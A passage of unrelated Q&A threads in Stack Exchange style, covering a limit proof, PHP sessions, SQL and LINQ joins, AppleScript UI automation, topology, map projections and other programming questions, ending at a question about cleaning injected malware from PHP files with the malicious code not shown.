Next step I simplify $a_n$ : $ a_n  = \frac{n \cdot \left(\sqrt{1+ \frac{1}{n}} -1\right) \cdot   \sqrt{1+ \frac{1}{n}} + 1 }  {\sqrt{1+ \frac{1}{n}} + 1} = \frac{1}{\sqrt{1+ \frac{1}{n}} + 1}$
And then I got stuck,what am I supposed to do with : $ \left|\frac{1}{\sqrt{1+ \frac{1}{n}} + 1} - \frac{1}{2} \right|$

A: $$ a_n = \sqrt{n^2+n}-n = \frac{n}{\sqrt{n^2+n}+n} $$
is bounded between $$ \frac{n}{\left(n+\frac{1}{2}\right)+n}\quad\text{and}\quad\frac{n}{n+n} $$
so $\frac{1}{2}-a_n$ is bounded between
$$ 0\quad\text{and}\quad\frac{1}{2(4n+1)}.$$

A: You started well. You need to show that $ \left|\frac{1}{\sqrt{1+ \frac{1}{n}} + 1} - \frac{1}{2} \right|<\epsilon$ for $n>N$ where $N$ is some number.
$$ \left|\frac{1}{\sqrt{1+ \frac{1}{n}} + 1} - \frac{1}{2}\right|=\left|\frac{\sqrt n}{\sqrt{n+1} +\sqrt n} - \frac{1}{2} \right|=\left|\frac{2\sqrt n -\sqrt{n+1} -\sqrt n}{\sqrt{n+1} +\sqrt n}\right|=\left|\frac{\sqrt n -\sqrt{n+1}}{\sqrt{n+1} +\sqrt n}\right|=\left|\frac{1}{(\sqrt{n+1} +\sqrt n)^2}\right|<\left|\frac{1}{(\sqrt{n} +\sqrt n)^2}\right|=\frac{1}{4n}$$
Now we want to find such $N$ that $\frac{1}{4N}<\epsilon \rightarrow N>\frac{1}{4\epsilon}$

A: $$n\left(\sqrt{1+\frac1n}-1\right)<n\left(\sqrt{1+\frac1n+\frac1{4n^2}}-1\right)=\frac12$$
and
$$n\left(\sqrt{1+\frac1n}-1\right)=\frac1{\sqrt{1+\dfrac1n}+1}>\frac1{\sqrt{1+\dfrac1n+\dfrac1{4n^2}}+1}=\frac12-\frac1{4n+1}.$$

A: For a more accurate bound consider the following:
$$
\left|a_{n} - \frac{1}{2} \right| = \left|\frac{1}{\sqrt{1+\frac{1}{n}}+1} - \frac{1}{2} \right| =
\left|\frac{2-(\sqrt{1+\frac{1}{n}}+1)}{2\left( \sqrt{1+\frac{1}{n}}+1 \right)} \right| \leq \left| \frac{2-(\sqrt{1+\frac{1}{n}}+1)}{4} \right| \implies \left| 2-(\sqrt{1+\frac{1}{n}}+1) \right| =  \left| 1-\sqrt{1+\frac{1}{n}} \right| = \left| \sqrt{1+\frac{1}{n}}-1 \right| = \sqrt{1+\frac{1}{n}}-1 < 4\epsilon
$$
Then
$$
\sqrt{1+\frac{1}{n}}-1 < 4\epsilon \implies n > \frac{1}{(4\epsilon +1)^{2}-1}
$$


text:
Q: Is it common to store a users password in a PHP Session? New to php Sessions here. My stored user data is pretty minor and not very sensitive but of course I still want a secure site. I have stored their password hash in my db with salt.
Do I need to validate a user on every page of my site using their password, or is that overkill? In other words, if they have successfully "logged in" and I have stored their username in a php session is that good enough for them to roam around, with the site knowing who they are?
I ask because it seems like storing a users password in a session is probably not the best idea. Is that true?

A: You don't need to authenticate on every request, but you do need to authorize on every request.
Authentication is where you validate the user's username / password against the database. Once they have successfully authenticated, you only need to store their user ID (or username) in the session.
On every subsequent request, check to make sure that the current session is authorized to view the requested content. In your case, you probably just need to make sure that there is a valid user ID in the session... you don't have to do anything with the database.
You may use a function similar to the following to authorize on every request:
function isAuthorized() {
    return isset($_SESSION['user_id']) && ($_SESSION['user_id'] != 0);
}

You can make this even more secure by managing your own session data in a database, and then you don't have to place much faith in cookies, which can be traded/stolen/etc by (malicious) users. But that's usually overkill for most web apps.

A: Don't store the password. Instead, store an authentication token that you can check for existence of in a separate table.

A: I wouldn't store the password in the session, you can just store that they have logged in in the session.
$_SESSION['uerlogged'] = $mytoken;

Then each page load check to see if $_SESSION['userlogged'] is set.
You may also want to consider adding in precautions for session hi-jacking Take a look at - PHP: Preventing Session Hijacking with token stored as a cookie?

A: It shouldn't really be necessary to store a password in a session.  You should have status flags to show whether or not they're currently authenticated along with some sort of object that defines who the user is and information about them.

A: Storing the password in the session isn't any different than storing the username in the session once the user logged in, so don't store the password.
It will just work as the stored username, which is enough (even a flag will do).

A: Users can't modify sessions, you can store only the username there and trust that it will always be correct.


text:
Q: Is it possible to log a program's network activity in Windows 7? Does anyone know of a program or way to log all network activity to a specific program on one's computer (program and/or service)?
I know I can see this "live" in Resource Monitor, but I'm wondering if anyone knows of a program or way to track and log all network activity to/from a specific process and/or service.
I'm finding a lot of "live"-type monitors, like Windows Resource Monitor, but nothing that can log.

A: Wireshark will do this
You will need to set up a filter - wireshark has some premade ones, or you can set your own using a string - this can be a protocol name or port

Or you can log everything and filter later


text:
Q: How to write an SQL SELECT statement that returns values from multiple tables? I've got four tables: person, coach, player, games. I need to write an SQL SELECT statement that will return: my id, name, date of birth, join date, the name of the coach with whom I am registered, and the date, time and duration of the game.
The person table consists of: person id, name, date of birth, and some other unnecessary values.
The coach table consists of: coach id, and some other unnecessary values.
The player table consists of: player id, join date, joined with.
The game table consists of: coach id, player id, game date, game time, game duration.
The person table basically stores all the names and main details both of the coach and of the players. The tables are linked correctly.
I've tried various statements but I totally confused myself. The example is kind of lame, I had something else but not really sure how to go about it anymore.
e.g.
SELECT person_id, full_name, date_of_birth, join_date
FROM (person JOIN player ON player_id = person_id)
WHERE person_id='100' AND person_id, full_name
FROM (person JOIN coach ON coach_id = person_id);

These are the CREATE statements:
CREATE TABLE person (
        person_id          CHAR(10)    NOT NULL,
        full_name          VARCHAR(54)    NOT NULL,
        date_of_birth      DATE,
        sex                CHAR(1),
  PRIMARY KEY (person_id)
) engine innodb;
CREATE TABLE coach (
        coach_id          CHAR(10)    NOT NULL,
        phone_no           CHAR(10)    NOT NULL,
        hall_no            CHAR(4)    NOT NULL,
  PRIMARY KEY (coach_id),
  FOREIGN KEY (coach_id) REFERENCES person (person_id)
) engine innodb;
CREATE TABLE player (
        player_id        CHAR(10)    NOT NULL,
        join_date   DATE        NOT NULL,
        joined_with   CHAR(10),
  PRIMARY KEY (player_id),
  FOREIGN KEY (player_id) REFERENCES person (person_id),
  FOREIGN KEY (joined_with) REFERENCES coach (coach_id)
) engine innodb;
CREATE TABLE game (
        coach_id        CHAR(10)    NOT NULL,
        player_id       CHAR(10)    NOT NULL,
        game_date        DATE        NOT NULL,
        game_time        TIME        NOT NULL,
        game_duration    INTEGER    DEFAULT 10,
  PRIMARY KEY (coach_id, player_id, game_date, game_time),
  FOREIGN KEY (coach_id) REFERENCES coach (coach_id),
  FOREIGN KEY (player_id) REFERENCES player (player_id)
) engine innodb;

A: Your SQL is WAY off.  It looks like you're trying for the following just using several INNER JOINs:
SELECT p.person_id, p.full_name, p.date_of_birth, pl.join_date,
  c.coach_id, p2.full_name as coach_name, g.*
FROM person p
    JOIN player pl ON p.person_id = pl.player_id
    JOIN game g ON p.person_id = g.player_id
    JOIN coach c ON c.coach_id = g.coach_id
    JOIN person p2 on c.coach_id= p2.person_id
WHERE p.person_id='1'
ORDER BY p.person_id, p.full_name

You won't need to rejoin on person a second time if you don't need the coach's name -- I just presumed that would be useful information.
SQL Fiddle Demo

A: I hope this helps.
SELECT person.person_id, person.full_name, person.date_of_birth, player.join_date
 FROM person
INNER JOIN player
   ON player.player_id = person.person_id
WHERE person.person_id = '100'


text:
Q: Is it possible to change the "Ignore built-in trackpad when mouse is present" setting with a keyboard shortcut? I like to use my MacBook with a USB mouse most of the time, and keep "Ignore built-in trackpad when mouse or wireless trackpad is present" option checked to avoid accidentally moving the cursor while typing. However, occasionally it's useful to switch it back on for certain tasks, and I'd like to be able to do this with a keyboard shortcut.
I've tried recording the process of switching it on/off with Automator, but when I copy the resulting script and run it, it gets as far as the Accessibility settings and then gives me a syntax error saying 'Can not click checkbox 3 of window "Accessibility" of application process "System Preferences"'.
I've also tried setting "USBMouseStopsTrackpad" in defaults to 0 and 1 in the terminal, but it doesn't seem to do anything. I can see this changing to 0 or 1 when I check/uncheck the box, so I'm fairly certain I've got the right option, but nothing happens when I change it.
Apologies if this is really obvious and I'm just not seeing it! I'm still not too familiar with this machine. I'm aware of this question:
Is it possible to switch off the trackpad in OS X with a keyboard shortcut
but I don't think it's a duplicate as I'm trying to do something slightly different.

A: This can be done natively with no third-party anything needed, simply and easily using AppleScript and UI Scripting.
The example AppleScript code can be implemented in a number of different ways, as a script, an AppleScript application, or as an Automator service , the latter of which can have a keyboard shortcut assigned to it.
Specifically how to implement as an Automator service has been covered more then enough times that a Google search should provide an answer on how to do that. I know I written directions for it more times than I can remember.
The following example AppleScript code works for me and toggles the "Ignore built-in trackpad when mouse or wireless trackpad is present:" check box:
if running of application "System Preferences" then
    try
        tell application "System Preferences" to quit
    on error
        do shell script "killall 'System Preferences'"
    end try
end if
repeat while running of application "System Preferences" is true
    delay 0.1
end repeat
tell application "System Preferences"
    reveal anchor "Mouse" of pane id "com.apple.preference.universalaccess"
    delay 1
    tell application "System Events"
        click checkbox 1 of group 1 of window 1 of application process "System Preferences"
    end tell
    quit
end tell

*

*Note that the value of the delay commands may need to be adjusted for your system, and or additional delay commands may or may not be needed. Adjust values of and or add/remove the delay commands as appropriate.

*This was tested and works under macOS High Sierra; however, note that depending on the version of OS X/macOS you're running, the click checkbox ... line of code may need to be adjusted depending on the version of the OS.
For example, with macOS Catalina you'd need to use:
click checkbox 2 of tab group 1 of group 1 of window 1 of application process "System Preferences"

Note: The example AppleScript code is just that and does not contain any error handling as may be appropriate. The onus is upon the user to add any error handling as may be appropriate, needed or wanted. Have a look at the try statement and error statement in the AppleScript Language Guide. See also, Working with Errors. Additionally, the use of the delay command may be necessary between events where appropriate, e.g. delay 0.5, with the value of the delay set appropriately.

A: Macroing this is a bit janky, but it's totally doable.
I'd recommend using Keyboard Maestro for this. It's sort of like Automator.... Not free, but it does have a trial and it's definitely worth it. You could do this same thing in Automator or Applescript too, but it's way simpler in KBM.
KBM has some great Actions when it comes to navigating gui:

*

*Pause Until

*

*The Pause Until action pauses until criteria for conditions are met.

*Press a Button

*

*The Press a Button action presses a named button in the front window.

*Select or Show a Menu Item

*

*The Select or Show a Menu Item action selects a menu item OR shows (opens) a menu in the main menubar.

*Insert Text by Typing

*

*The Insert Text by Typing action converts plain (simple) text into keystrokes and then types each of them individually. It only works with characters that can be typed on the keyboard with one or two keystrokes (eg Option-e e usually types é, and Keyboard Maestro can duplicate that typing).

*Type a Keystroke

*

*The Type Keystroke action lets you type a single keystroke, pretty much any kind of keystroke you can type on the keyboard.

*Move or Click Mouse

*

*The Move or Click Mouse action allows you to move, click or move and click the mouse using any mouse button, and optionally dragging.

*This is a relatively small thing, but I think it's great that it can restore the mouse location after the action is completed. That option is a bit hidden though.

The steps to produce the action along with light explanations:
Picture of the macro steps (Link)
Not the fastest macro ever (~3seconds), but sure beats diving into the menus manually.
As you are making this macro, make sure to run the unfinished macro after every step to make sure everything is exactly as they should be.

*

*Action name: Activate a Specific Application

*

*Activate: System Preferences

*
Opens up System Preferences

*Action name: Pause Until

*

*New Condition: Menu Condition

*A menu item: with this name Accessibility is enabled

*
This more or less makes sure the window is active and Accessibility is a menu item you can navigate to.

*Action name: Move a Window

*

*Move to: →0 ↓ 0

*
This makes sure that the preferences window is in your main screen. It's only important because if at any point you manually drag the window to your secondary screen, all the actions that rely on coordinates would fail without this and the next 'Move a Window action'.

*Action name: Select or Show a Menu Item

*

*Select menu in: System Preferences

*Menu Title: View

*Menu Item Accessibility

*
You can also just click Menu ▾ on the top left of this action to choose the menu item from there, as long as System Preferences is open. That makes it super easy to simulate clicking any menu item.

*Action Name: Pause

*

*Pause for : 1 seconds.

*
This is a bit of a mystery. I wanted to use pause until window title is 'Accessibility', which works if you go to the Accessibility page in System Preferences and check the action. KBM says the value is true when you're there. However, it kept failing when I actually ran the macro. I also tried the 'Pause Until Pixel Condition' and that failed as well I guess the condition became true before any interaction was possible… The point of using the 'Pause Until' action is to make sure that whatever we want to do next actually triggers at the right moment. When you use a static pause or no pause at all, there is a chance that it occasionally takes longer than usual and the simulated keypress just goes into the ether and the macro gets stuck or worst case scenario: it actually does something totally different, like sends a missile warning alert to all Hawaiians or something. The few spots where I used a static pause should be fine since they are all in the same page of the same window so there shouldn't be any weird issues brought on by those, but if it doesn't do what it's supposed to do: increase the static delay. You may also want to add 'Pause' between some of the other actions that are not separated by a delay, if it doesn't seem to work. Slower machines typically require bigger delay.

*Action Name: Type a Keystroke

*

*Simulate keystroke: Cmd+F

*Click the Simulate keystroke input and press the shortcut keys.

*
If this window is already active, this sort of defaults the position to the search so the next keystroke goes to the right place

*Action name: Move a Window

*

*Change Move to to Center

*
This makes sure all the actions using coordinates hit the right spots.

*Action Name: Type a Keystroke

*

*Simulate keystroke: Tab

*You can select it from the dropdown list or type it in.

*
Activates the list on the left side of System Preferences > Accessibility window.

*Action Name: Pause Until

*

*New Condition: Pixel Condition

*Click the Get

*

*It'll give you 5 seconds to position your mouse on top of the color.

*Make the window active and hover your mouse anywhere on top of the blue edge to get that color

*

*
This just makes sure the next action is triggered at the right time.

*Action Name: Type a Keystroke

*

*Simulate keystroke: End

*You can select it from the dropdown list or type it in.

*
Activates the list on the left side of System Preferences > Accessibility window.

*Action Name: Type a Keystroke

*

*Simulate keystroke: Alt+Down Arrow

*Click the Simulate keystroke input and press the shortcut keys.

*This menu on the left can retain the last visited item next time you open it, so we do this just to make sure the first item is selected or else the next pause until could fail occasionally.

*Action Name: Pause Until

*

*New Condition: Pixel Condition

*Again the same thing as with the last Pause Until → Pixel Condition. Press the Get button, activate the Accessibility window and pick a color from the active item's background.

*

*
This just makes sure the next action is triggered at the right time.

*Action: Move or Click Mouse

*

*Relative to the Absolute position

*Click the gear menu on the top right corner of the action and select Restore Mouse Location.

*Press the Get button and hover over the "Mouse & Trackpad"

*
I chose to use relative to the absolute position since the Pixel Conditions can't be relative to the current window... Doesn't really matter much.

*

*Action Name: Pause Until

*

*New Condition: Pixel Condition

*Again the same thing as with the last Pause Until → Pixel Condition. Press the Get button, activate the Accessibility window and pick a color from the active item's background.

*

*
This just makes sure the next action is triggered at the right time.

*Action: Move or Click Mouse

*

*Relative to the Absolute position

*Click the gear menu on the top right corner of the action and select Restore Mouse Location.

*Press the Get button and hover over the Ignore built-in tackpad when mouse or wireless trackpad is present

*
I chose to use relative to the absolute position since the Pixel Conditions can't be relative to the current window... Doesn't really matter much.

*

*Action Name: Pause

*

*Pause for .6 seconds

*
You may want to lengthen this if you feel like you can't quite see the value changing and you'd like to... This delay was added for that reason, but it does go by pretty fast. Try something like 1 second...

*Action Name: Quit a Specific Application

*

*Quit: System Preferences.

*You may want to disable this action for testing purposes.

A: I can't comment on @user3439894's answer due to insufficient reputation, but the correct line for OS X Catalina is:
click checkbox 2 of tab group 1 of group 1 of window 1 of application process "System Preferences"

Note the "... of tab group 1 ..." bit, which is now necessary.


text:
Q: Counterexample of Separation Theorem in topological vector space The Separation Theorem states that: If $A$ and $B$ be two disjoint convex subsets in a vector space $X$ and one of them has nonempty core (algebraic interior) then there exists a linear functional $f\neq 0$ such that $$\sup\{f(x):\; x\in A\} \leq \inf\{f(x):\; x\in B\}, $$
where $x\in \mbox{Core}(A)$ if and only if for any $v\in X$, there exists $\epsilon>0$ such that $x+\lambda v\in X$ for any $\lambda \in (-\epsilon, \epsilon)$. The proof of this can be, for e.g., based on Hahn-Banach Themrem with sub-additive and homogeneous function there in is Minkowski function of an absorb and convex subset.
I also know, the assumption on non-emptiness of core is very important by some counterexamples.
Moreover, in a topological vector space $X$, if a linear functional $f\neq 0$ separates two sets and one of them has nonempty topological interior then $f$ is continuous. This fact is due to if $f$ is bounded in a neighborhood of the origin then it must be continuous.
But it is always true that $\mbox{int}(A) \subset \mbox{Core}(A)$, combining two facts above, we have: If $A$ and $B$ be two disjoint convex subsets in a topological vector space $X$ and one of them has nonempty (topological) interior then they can be separated by a continuous linear functional $f\in X^*\setminus\{0\}.$
I would like to construct an example on a topological vector space $X$, there exists two disjoint convex subsets one of them has nonempty core, both of them have empty topological interior and they can not be separate by any CONTINUOUS linear functional $f\in X^*\setminus\{0\}.$
There are a set in finite dimensional space which has it's core is not equal to it's interior, e.g.,
$$A=\{(x,y)\in \mathbb R^2:\;\; y\geq x^2\} \cup \{(x,y)\in \mathbb R^2:\;\; y\leq -x^2\} \cup \{(x,y)\in \mathbb R^2:\;\; y=0\},$$
then $0$ is in core $A$ but not an interior point of $A$.
In infinite dimensional Banach space $X$, let $f$ be a discontinuous linear functional and $$B=\{x\in X:\;\; |f(x)|\leq 1\},$$
then $\mbox{int}(B)=\emptyset$ but $0$ belongs to core of $B$.
Could anyone can help me to construct such an example? I will highly appreciate your helps.

A: The principle is easy. Take a topological vector space $(X,\tau)$ (over $\mathbb{R}$), and a discontinuous linear form $f \colon X \to \mathbb{R}$. Then the two sets $A = f^{-1}((0,+\infty))$ and $B = f^{-1}((-\infty,0))$ are disjoint and convex, they have nonempty core, since they are open in some vector space topology finer than $\tau$ (for example the finest TVS topology on $X$) in which $f$ is continuous, and they can be separated only by multiples of $f$, hence not by any linear form that is continuous with respect to $\tau$.
For a concrete example, let $Y = \mathbb{R}^\mathbb{N}$ the space of all real sequences, endowed with the product topology, and let
$$X = \left\{ x\in Y : \sum_{k=0}^\infty x_k^2 < \infty \right\}$$
the subspace of square summable sequences. Then take
$$f(x) = \sum_{k=0}^\infty \frac{x_k}{k+1}.$$
A continuous linear form on $X$ can only involve finitely many components, so $f$ is discontinuous. $f$ would however be continuous in the $\ell^2$-topology.


text:
Q: How can I write this query in LINQ I have this query
SELECT t.NomeTipo, sum(v.QtdProduto)
FROM [dbo].[Vendas] AS V
RIGHT JOIN [dbo].[Produtos] AS P ON V.IdProduto = P.IdProduto
INNER JOIN [dbo].[Tipos] AS T ON P.IdTipo = T.IdTipo
group by t.NomeTipo
order by t.NomeTipo

I have tried this
var queryTipos = from vendas in repositorioVendas.Vendas
join produtos in repositorioProduto.Produtos.DefaultIfEmpty()
on vendas.IdProduto equals produtos.IdProduto
join tipos in repositorioTipo.Tipos
on produtos.IdTipo equals tipos.IdTipo
group vendas by new { tipos.NomeTipo, vendas.QtdProduto }
into novoGrupo
select new
{
    NomeTipo = novoGrupo.Key.NomeTipo,
    QtdProduto = novoGrupo.Sum(x => x.QtdProduto)
};

With this query I got only two results, but when I run straight from the database I get something like this:
Bebidas     16
Bolos       14
Frios       16
Pães        21

A: The trick is to realize that you can rewrite your query with a left join instead of a right join by swapping the order of the first two tables and that Linq doesn't have a way to really handle right joins.  Also you're grouping was wrong.
var queryTipos = from produtos in repositorioProduto.Produtos
                 join vendas_pj in repositorioVendas.Vendas
                 on vendas_pj.IdProduto equals produtos.IdProduto into joined
                 from vendas in joined.DefaultIfEmpty()
                 join tipos in repositorioTipo.Tipos
                 on produtos.IdTipo equals tipos.IdTipo
                 group vendas by tipos.NomeTipo
                 into novoGrupo
                 select new
                 {
                    NomeTipo = novoGrupo.Key,
                    QtdProduto = novoGrupo.Sum(x => x.QtdProduto)
                 };

Basically a Left join in SQL
From TableA
Left Join TableB
On TableA.ID = TableB.ID

is done in Linq like this
from a in repo.TableA
join b_pj in repo.TableB
on a.ID equals b_pj.ID into joined
from b in joined.DefaultIfEmpty()


text:
Q: Tile Projection Google Maps: Convert Distance to Screen Dimensions I am using the CanvasTileProvider in Google Maps Android v2.
I can convert lat long points to screen pixels.
However I would like to create a method to convert a distance to screen pixels. This will allow me to draw a circle of x radius.  Can anyone help with this?
The code below I have butchered and modified from somewhere else so credit to the original author.
/**
 * Converts between LatLng coordinates and the pixels inside a tile.
 */
public class TileProjection {

    public int x;
    public int y;
    private int zoom;
    private int TILE_SIZE;

    private DoublePoint pixelOrigin_;
    private double pixelsPerLonDegree_;
    private double pixelsPerLonRadian_;

    TileProjection(int tileSize, int x, int y, int zoom) {
        this.TILE_SIZE = tileSize;
        this.x = x;
        this.y = y;
        this.zoom = zoom;
        pixelOrigin_ = new DoublePoint(TILE_SIZE / 2, TILE_SIZE / 2);
        pixelsPerLonDegree_ = TILE_SIZE / 360d;
        pixelsPerLonRadian_ = TILE_SIZE / (2 * Math.PI);
    }

    /**
     * Get the dimensions of the Tile in LatLng coordinates
     */
    public LatLngBounds getTileBounds() {
        DoublePoint tileSW = new DoublePoint(x * TILE_SIZE, (y + 1) * TILE_SIZE);
        DoublePoint worldSW = pixelToWorldCoordinates(tileSW);
        LatLng SW = worldCoordToLatLng(worldSW);
        DoublePoint tileNE = new DoublePoint((x + 1) * TILE_SIZE, y * TILE_SIZE);
        DoublePoint worldNE = pixelToWorldCoordinates(tileNE);
        LatLng NE = worldCoordToLatLng(worldNE);
        return new LatLngBounds(SW, NE);
    }

    /**
     * Calculate the pixel coordinates inside a tile, relative to the left upper
     * corner (origin) of the tile.
     */
    public PointF latLngToPoint(LatLng latLng) {
        DoublePoint result = new DoublePoint(1, 1);
        //  Log.d("Aero","x " + String.valueOf(x));
        // Log.d("Aero","y " + String.valueOf(y));

        latLngToWorldCoordinates(latLng, result);
        worldToPixelCoordinates(result, result);
        result.x -= x * TILE_SIZE;

        int numTiles = 1 << zoom;
        if (latLng.longitude < 0) {
            result.x = result.x + (numTiles * TILE_SIZE);
        }

        result.y -= y * TILE_SIZE;
        return new PointF((float) result.x, (float) result.y);
    }

    private DoublePoint pixelToWorldCoordinates(DoublePoint pixelCoord) {
        int numTiles = 1 << zoom;
        DoublePoint worldCoordinate = new DoublePoint(pixelCoord.x / numTiles,
                pixelCoord.y / numTiles);
        return worldCoordinate;
    }

    /**
     * Transform the world coordinates into pixel-coordinates relative to the
     * whole tile-area. (i.e. the coordinate system that spans all tiles.)
     *

     *

     * Takes the resulting point as parameter, to avoid creation of new objects.
     */
    private void worldToPixelCoordinates(DoublePoint worldCoord, DoublePoint result) {
        int numTiles = 1 << zoom;
        result.x = worldCoord.x * numTiles;
        result.y = worldCoord.y * numTiles;
    }

    private LatLng worldCoordToLatLng(DoublePoint worldCoordinate) {
        DoublePoint origin = pixelOrigin_;
        double lng = (worldCoordinate.x - origin.x) / pixelsPerLonDegree_;
        double latRadians = (worldCoordinate.y - origin.y)
                / -pixelsPerLonRadian_;
        double lat = Math.toDegrees(2 * Math.atan(Math.exp(latRadians))
                - Math.PI / 2);
        return new LatLng(lat, lng);
    }

    /**
     * Get the coordinates in a system describing the whole globe in a
     * coordinate range from 0 to TILE_SIZE (type double).
     *

     * Takes the resulting point as parameter, to avoid creation of new objects.
     */
    private void latLngToWorldCoordinates(LatLng latLng, DoublePoint result) {
        DoublePoint origin = pixelOrigin_;

        result.x = origin.x + latLng.longitude * pixelsPerLonDegree_;

        // Truncating to 0.9999 effectively limits latitude to 89.189. This is
        // about a third of a tile past the edge of the world tile.
        double siny = bound(Math.sin(Math.toRadians(latLng.latitude)), -0.9999,
                0.9999);
        result.y = origin.y + 0.5 * Math.log((1 + siny) / (1 - siny))
                * -pixelsPerLonRadian_;
    }

    ;

    /**
     * Return value reduced to min and max if outside one of these bounds.
     */
    private double bound(double value, double min, double max) {
        value = Math.max(value, min);
        value = Math.min(value, max);
        return value;
    }

    /**
     * A Point in an x/y coordinate system with coordinates of type double
     */
    public static class DoublePoint {
        double x;
        double y;

        public DoublePoint(double x, double y) {
            this.x = x;
            this.y = y;
        }
    }

}

This is what I am proposing to use:
public Double MetersToPixels(LatLng latLng, Double distance){
    double tileScale = TILE_SIZE / 256;
    double pixelsPerMeter =1 / (156543.03392 * Math.cos(latLng.latitude * Math.PI / 180) / Math.pow(2, zoom)) * tileScale;
    return  pixelsPerMeter * distance;
}

A: At first you should be aware of the fact, that a circle on the surface of the earth is not exactly a circle on the map. But if you ignore this inaccuracy, you just need to create a LatLng point in 25nm distance, and then use latLngToPoint method to get the pixels. Comparing them with the pixels of the center, gives you the radius. For creating a LatLng in a given distance see the answer to this SO question  (method move)


text:
Q: FreeRadius config: reject request upon inner-tunnel auth type is "none" I just set up an freeradius server (Version 2.2.5) on an Raspeberian PI with DaloRadius 0.99 web interface. OS = Debian Jessy. I do not use certificates for authentification.
Everythings working fine, I restricted the used authentification types to "PEAP" for 1st authentification and the inner-tunnel (second auth to MSCHAP(V2)).
Now I recognized when I configure a client using PEAP and no inner tunnel Auth method it's although possible to dial in.
I want to restrict the second auth to only accept MSCHAP/MSCHAPV2 and not "none" as auth metohd.


text:
Q: Otimização de código php (geração de chave de NF) Caros colegas, atualmente estou trabalhando em um projeto que realiza o envio de cupons fiscais, nela eu cheguei a uma função que gera a chave da nfe, nela eu recebo os seguintes dados:

*

*Código da cidade

*Ano e Mês da emissão

*Cnpj da Empresa

*Modelo da nota (65 no caso)

*Série

*Numero da nota (9 posições)

*Tipo de emissão

*Numero da nota com 8 posições

Código da função:
public function GeraChaveNFe($CodCidade , $AnoMesEmissao, $CnpjEmpresa , $Modelo , $Serie, $NumeroNF, $TipoEmissao){
    $NF8 = "";
    $NF9 = "";
    $Chave = "";
    $Digito = "";

    $tam = strlen($NumeroNF);
    if($tam > 0){
        $NF9 = str_pad($NumeroNF, 9 - $tam, "0", STR_PAD_LEFT);
        $NF8 = str_pad($NumeroNF, 8 - $tam, "0", STR_PAD_LEFT);
    }else{
        $NF9 = $this->right($NumeroNF, 9);
        $NF8 = $this->right($NumeroNF, 8);
    }

    $Chave = $CodCidade . $AnoMesEmissao . $CnpjEmpresa . $Modelo . $Serie . $NF9 . $TipoEmissao . $NF8;

    $Digito = $this->DigitoMod11($Chave);
    return $Chave . $Digito;
}

Minha dúvida está na seguinte função:
function right($str, $length) {
    return substr($str, -$length);
}

a function Right faz o mesmo que o String.Right VB e C#, ao pesquisar não achei a mesma função no php... então utilizei o substr.
A pergunta é, o substr é realmente o equivalente ao right ou existe uma função que possa substituir este método?

A:
A pergunta é, o substr é realmente o equivalente ao right ou existe uma função que possa substituir este método?

Sim, a função substr do php tem a mesma funcionalidade da função String.Right do Visual Basic. Conforme documentação da microsoft:

Retorna uma cadeia de caracteres que contém um número especificado de caracteres do lado direito de uma cadeia de caracteres.

Um exemplo usando a função Right usando visual Basic:
Dim TestString As String = "Hello World!"
Dim subString As String = Right(TestString, 6)
'Saida :  "World!"

Exemplo retirado da documentação.
Agora, o que a documentação do PHP diz sobre a função substr():

Retorna a parte de string especificada pelo parâmetro start e length.

Não irei entrar em detalhes sobre a função pois esse não é o foco da pergunta.
O mesmo exemplo de cima usando a linguaguem PHP com a função substr() :
$TestString = "Hello World!"
$subString  = substr($TestString, 6)
//Saida :  "World!"

Conclusão
As duas funções são equivalentes e servem basicamente para a mesma coisa.
Obs: Recomendo ler a documentação da função substr() pois a mesma pode receber mais parâmetros do que os usados aqui na resposta.


text:
Q: What is the correct way to re-export this type? Let's say I have a pure functional react component in typescript like this:
import React, { MouseEvent } from 'react';

export default ({
  onClick,
}: {
  onClick: (evt: MouseEvent) => void,
}) => (
  <div onClick={onClick}>
    Hello world
  </div>
);

This naturally gives an error because MouseEvent is a private name but is also a part of the signature for my functional component. So I go to re-export:
export { MouseEvent };

Which does not fix the error. I'm guessing because while there's a type 'MouseEvent' from the React typings there's also a MouseEvent constructor and the compiler is disambiguating to the latter. So then I try
export { MouseEvent } from 'react';

Which also does not fix the error. In a bit of desperation and following an old github thread I also tried
export * from 'react';

How do I fix this? (using tsc 3.6.3 if that matters)

A: Use with alias:
   import React, { MouseEvent as MEvent } from 'react';

The compiler will then no longer throw the private name error and you don't have to re-export the name.


text:
Q: Verifying the installed dot net framework edition Many articles answer for how to identify the dot net framework version. But I need to know how to identify the edition installed (32/64 bit). Is there a way to do so?

A: http://blogs.msdn.com/b/astebner/archive/2008/10/13/8999004.aspx


text:
Q: Line between table row with image HTML It seems to work fine in outlook and iCloud but shows the line in both yahoo and Gmail. This seems to be a common issue, but all answers I found do not work for me. This is my first experience with HTML emails.

A: The
 may be interfering. There's no need for it. Also, if you want zero spacing, use line-height with font-size.
That is:


text:
Q: What does Victory Fund mean? I've seen the phare "Victory Fund" several times. Like Hillary Victory Fund or The AAPI Victory Fund, but don't really understand that. What is the Victory? Did those funds accomplish some kind of victory?

A: Example: The Gay & Lesbian Victory Fund

Our Mission: To change the face and voice of America's politics and achieve equality for LGBT Americans by increasing the number of openly LGBT officials at all levels of government.
The Gay & Lesbian Victory Fund works to elect LGBT leaders to public office for one simple reason.  They change America's politics.

Here "victory" means "winning elections".  By contributing to the fund, you support the campaigns of politicians who are proponents of this agenda.

A: It's not a type of fund; it's simply a fund that raises money to achieve  victory of one form or another.
In the U.S., it's commonly used in the names of political campaigns seeking the victory of their endorsed candidate in an election, as the examples you have stated. But this is far from the exclusive use of the word; for example, there is Adam's Victory Fund, which raises money for childhood cancer research, or the University of Miami Football Victory Fund, which raises funds to support their football team, and presumably contribute to more victories on the field.

A: That's just the name of a fundraising organization. Wikipedia has more to say on this: The Hillary Victory Fund.
I guess, Victory Fund just means that the money that's being collected by this organization is going to help them win election campaigns or something along those lines.


text:
Q: QDateTimeEdit: rollback from 59 to 00 or vice-versa in hours/minute/second How can I rollback hour/min/sec from 59 to 00 or vice versa. Actually QDateTimeEdit doesn't allow it by default and it get stuck after reaching maximum value of 59 if tried pressing up arrow, and same for minimum value 00.

A: You must know that QDateTimeEdit is inherit QAbstractSpinBox, and QAbstractSpinBox has wrapping mechanism, using it you can make your spins circular. So, all what you must do is
setWrapping(true)

in your case, it must be something like this: ui->dateTimeEdit->setWrapping(true);
If wrapping is true stepping up from maximum() value will take you to the minimum() value and vica versa. Wrapping only make sense if you have minimum() and maximum() values set.
See official documentation here .
Good luck!


text:
Q: Replace long string of text using php recursively in a directory All the .php files on my webserver got infected with a bad line of code after a malware injection attack.
My question is about how I get rid of this one line of code from all my files. The bad code is below.
